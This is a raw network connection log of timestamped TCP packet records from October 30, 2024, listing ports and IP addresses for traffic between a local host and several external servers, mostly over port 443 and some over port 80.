Oct 30, 2024 18:06:36.836637020 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.836668968 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.836680889 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.836730957 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.840703011 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.840722084 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.840737104 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.840779066 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.840801001 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.840828896 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.840847015 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.840867043 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.840888023 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.840936899 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.959609985 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.959625959 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.959649086 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.959656954 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.959681034 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.959693909 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.959734917 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.959749937 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.964970112 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.965006113 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.965050936 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.965056896 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.965087891 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.965276003 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:36.965302944 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.965456009 CET	443	49757	52.123.243.94	192.168.2.5
Oct 30, 2024 18:06:36.965495110 CET	49757	443	192.168.2.5	52.123.243.94
Oct 30, 2024 18:06:37.303023100 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:37.303066015 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:37.303143024 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:37.306963921 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:37.306972027 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:37.317869902 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:37.317926884 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:37.354767084 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.355530977 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.356826067 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.364130020 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.364152908 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.364675045 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.364681959 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.365221024 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.365240097 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.365725040 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.365731001 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.366020918 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.366035938 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.366422892 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.366429090 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.367027044 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.367328882 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.367345095 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.367885113 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.367889881 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.418425083 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.436301947 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.436315060 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.436860085 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.436863899 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.495311022 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.495425940 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.495481968 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.498370886 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.498435020 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.498481989 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.516089916 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.516089916 CET	49770	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.516115904 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.516127110 CET	443	49770	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.516275883 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.516303062 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.516314983 CET	49767	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.516326904 CET	443	49767	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.525516987 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:37.525530100 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:37.525590897 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:37.525962114 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:37.525973082 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:37.531424046 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.531435013 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.531491995 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.532327890 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.532351971 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.532402992 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.532459021 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.532471895 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.532788038 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.532802105 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.534665108 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.534723043 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.534785032 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.535043001 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.535058022 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.535079956 CET	49768	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.535085917 CET	443	49768	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.537278891 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.537333965 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.537378073 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.537822962 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.537842989 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.537894964 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.537906885 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.537914038 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.537925005 CET	49771	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.537929058 CET	443	49771	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.538095951 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.538103104 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.540761948 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.540782928 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.540846109 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.541485071 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.541496992 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.577980995 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.578545094 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.578609943 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.585475922 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.585491896 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.585504055 CET	49769	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.585509062 CET	443	49769	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.591229916 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.591270924 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:37.591336966 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.603492022 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:37.603517056 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.166388035 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:38.224874973 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:38.224963903 CET	443	49750	94.245.104.56	192.168.2.5
Oct 30, 2024 18:06:38.225101948 CET	49750	443	192.168.2.5	94.245.104.56
Oct 30, 2024 18:06:38.278271914 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.279059887 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.301074028 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.313136101 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.352197886 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.352238894 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.353799105 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.353807926 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.354420900 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.354437113 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.354932070 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.354935884 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.373692989 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.374176979 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.399143934 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.399379969 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.399383068 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.399949074 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.399951935 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.400259972 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.400264978 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.400728941 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.400732994 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.408206940 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:38.449373960 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:38.449450970 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:38.460985899 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.461014986 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.461555958 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.461560011 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.478852034 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:38.478862047 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:38.480735064 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:38.480756998 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:38.480859995 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:38.484718084 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.484783888 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.484937906 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.486124992 CET	49788	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.486138105 CET	443	49788	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.486315966 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.487636089 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.489104986 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.490077019 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.490098953 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.490114927 CET	49787	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.490123034 CET	443	49787	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.537344933 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.537451029 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.537544966 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.538110971 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.538276911 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.538937092 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.599132061 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.600042105 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.601172924 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.925048113 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:38.925178051 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:38.946132898 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.946166039 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.946182013 CET	49789	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.946191072 CET	443	49789	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.946332932 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.946362019 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.946376085 CET	49786	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.946382999 CET	443	49786	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.949282885 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.949307919 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:38.949321032 CET	49790	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:38.949326992 CET	443	49790	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.092032909 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:39.092051983 CET	443	49784	18.244.18.32	192.168.2.5
Oct 30, 2024 18:06:39.192845106 CET	49784	443	192.168.2.5	18.244.18.32
Oct 30, 2024 18:06:39.213357925 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:39.213409901 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:39.213481903 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:39.213766098 CET	49795	443	192.168.2.5	172.217.18.1
Oct 30, 2024 18:06:39.213799953 CET	443	49795	172.217.18.1	192.168.2.5
Oct 30, 2024 18:06:39.235779047 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.235819101 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.235888004 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.236036062 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.236080885 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.236135006 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.236284018 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.236304998 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.236454010 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.236471891 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.256993055 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.257082939 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.257158995 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.257719040 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.257752895 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.278230906 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.278268099 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.278331995 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.282053947 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.282074928 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.283945084 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.283974886 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.284041882 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.284158945 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.284167051 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.288398981 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.288434029 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.288486958 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.289360046 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.289385080 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.291140079 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.291161060 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.291218996 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.291445971 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.291452885 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.305511951 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.305560112 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.305674076 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.305799007 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:39.305813074 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:39.323759079 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.323786020 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.324712992 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.328167915 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.328242064 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.328309059 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.724822998 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.794008970 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.794034958 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.846271038 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.849241972 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.849299908 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.856194973 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.862855911 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.862884045 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.862970114 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.862991095 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.862993956 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.863003016 CET	49773	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.863008022 CET	443	49773	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.863025904 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.863909960 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.863987923 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.864247084 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.864310026 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.875022888 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.933357954 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.933410883 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.935275078 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.935424089 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.935517073 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.936798096 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.937414885 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.937452078 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.937489033 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.939470053 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.939655066 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.940165043 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.940182924 CET	443	49796	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:39.940280914 CET	49797	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.940305948 CET	443	49797	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.940735102 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:39.940747023 CET	443	49798	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:39.948728085 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.948777914 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.949119091 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.949579000 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:39.949594021 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:39.950877905 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:39.951387882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:39.956232071 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:39.956868887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:39.956985950 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:39.961848974 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:39.961951017 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:39.967282057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:39.967348099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:39.967366934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:39.967513084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:39.981169939 CET	49796	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:39.981316090 CET	49798	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:40.005500078 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:40.005548000 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:40.005639076 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:40.005965948 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:40.005975962 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:40.045504093 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.046257973 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.046286106 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.046823025 CET	49801	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.046830893 CET	443	49801	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.047702074 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.048353910 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.048489094 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.048520088 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.048666000 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.048679113 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.049065113 CET	49800	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.049068928 CET	443	49800	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.049128056 CET	49802	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.049132109 CET	443	49802	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.057060003 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.058001995 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.058033943 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.058515072 CET	49799	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.058520079 CET	443	49799	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.058638096 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.058995008 CET	49803	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:40.059020996 CET	443	49803	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:40.059297085 CET	49797	443	192.168.2.5	162.159.61.3
